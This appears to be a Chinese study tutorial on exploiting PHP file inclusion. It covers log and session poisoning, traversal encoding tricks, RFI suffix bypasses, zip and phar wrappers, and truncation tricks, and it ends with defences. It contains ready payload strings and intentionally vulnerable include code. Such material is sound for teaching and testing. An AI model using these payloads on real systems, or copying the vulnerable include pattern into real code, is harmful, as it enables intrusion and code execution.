目录
包含日志文件
包含session
绕过技巧
指定前缀绕过
一、目录遍历
二、编码绕过
指定后缀绕过
一、利用URL
二、利用协议
三、长度截断
四、%00截断
文件包含漏洞防御
上一篇文章和大家介绍了一下文件包含漏洞和PHP伪协议的基本知识和利用PHP伪协议进行文件包含漏洞的利用场景,在本篇我会通过学习+练习的方式和大家一起学习文件包含具体的应用,和绕过一些限制来进行文件包含,那么下面就开始ヾ(◍°∇°◍)ノ゙
注:这里的案例都是别的大佬总结好的,我只是在本篇中进行学习+练习
包含日志文件
利用条件:
-
对日志文件可读(有权限)
-
知道日志文件存储目录(有物理路径)
加入目标主机的ip地址为192.168.159.200并且开启了nginx服务器:
包含日志文件的原理就是需要给日志文件中写入一些恶意的php代码,然后通过包含的方式以php的方式对日志文件进行解析
那么我们在访问网站的时候,顺便加上一段php代码:
http://192.168.159.200/deno.php?%3Cphp%20phpinfo();?%3E
然后查看日志就会发现已经将该操作完整的记录到了日志中:
下面就可以进行包含了,但是这里有一个很重要的前提就是我们需要知道日志文件的物理路径,这里我们是上帝视角,我们可以知道物理路径,现在进行包含一下nginx.conf查看一下nginx日志的路径:
知道路径后,然后尝试进行包含,但是却没有进行解析:
这里是因为使用GET方式传入的有些php字符被编码了,因此这里使用Burpsuite抓包后传入:
这里通常对日志文件是只有读权限,这里因为我给它授权了执行权限才可以执行成功的
sudo chmod o+rx /var/log/nginx/*
可以看懂这里成功通过包含日志实现php代码执行了
注:这里既然nginx的日志可以利用文件包含来解析php代码,那么其他的日志同样可以使用这种方法利用日志来进行文件包含,比如:ssh日志(auth.log),Apache日志等等
包含session
利用条件:
-
找到Session内的可控变量
-
Session文件可读写,并且知道存储路径
注:php:的session文件的保存路径可以在phpinfo的session.save_path看到。
注:除此之外,还可以包含:/PROC/SELF/ENVIRON、临时文件、上传文件、等等
绕过技巧
指定前缀绕过
一、目录遍历
使用 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php 测试代码如下:
<?php error_reporting(0); $file = $_GET["file"]; //前缀 include "/var/www/html/".$file;
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:
include.php?file=../../log/flag.txt
则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,即 /var/log/flag.txt,从而包含成功。
二、编码绕过
服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。
1.利用url编码
-
../
-
%2e%2e%2f
-
..%2f
-
%2e%2e/
-
-
..\
-
%2e%2e%5c
-
..%5c
-
%2e%2e\
-
2.二次编码
-
../
-
%252e%252e%252f
-
-
..\
-
%252e%252e%255c
-
3.容器/服务器的编码方式
-
../
-
..%c0%a
-
%c0%ae%c0%ae/
注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点) Apache Tomcat Directory Traversal
-
-
..\
-
..%c1%9c
-
指定后缀绕过
后缀绕过测试代码如下,下述各后缀绕过方法均使用此代码:
<?php error_reporting(0); $file = $_GET["file"]; //后缀 include $file.".txt";
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
一、利用URL
在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。 可参考此文章:URI’s fragment
完整url格式:
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
query(?)
-
[访问参数]
?file=http://localhost:8081/phpinfo.php?
-
[拼接后]
?file=http://localhost:8081/phpinfo.php?.txt
Example:(设在根目录下有flag2.txt文件) fragment(#)
-
[访问参数]
?file=http://localhost:8081/phpinfo.php%23
-
[拼接后]
?file=http://localhost:8081/phpinfo.php#.txt
Example:(设在根目录下有flag2.txt文件)
二、利用协议
利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。
zip://
-
[访问参数]
?file=zip://D:\zip.jpg%23phpinfo
-
[拼接后]
?file=zip://D:\zip.jpg#phpinfo.txt
phar://
-
[访问参数]
?file=phar://zip.zip/phpinfo
-
[拼接后]
?file=phar://zip.zip/phpinfo.txt
Example: (我的环境根目录中有php.zip压缩包,内含phpinfo.txt,其中包含代码<?php phpinfo();?>)) 所以分别构造payload为:
?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo ?file=phar://../../php.zip/phpinfo
三、长度截断
利用条件:
-
php版本 < php 5.2.8
原理:
-
Windows下目录最大长度为256字节,超出的部分会被丢弃
-
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
利用方法:
-
只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)
?file=./././。。。省略。。。././shell.php
则指定的后缀.txt会在达到最大值后会被直接丢弃掉
四、%00截断
利用条件:
-
magic_quotes_gpc = Off
-
php版本 < php 5.3.4
利用方法:
-
直接在文件名的最后加上%00来截断指定的后缀名
?file=shell.php%00
注:现在用到%00阶段的情况已经不多了
文件包含漏洞防御
-
allow_url_include和allow_url_fopen最小权限化
-
设置open_basedir(open_basedir 将php所能打开的文件限制在指定的目录树中)
-
白名单限制包含文件,或者严格过滤 . /
-
包含动态的文件名,不要动态的包含文件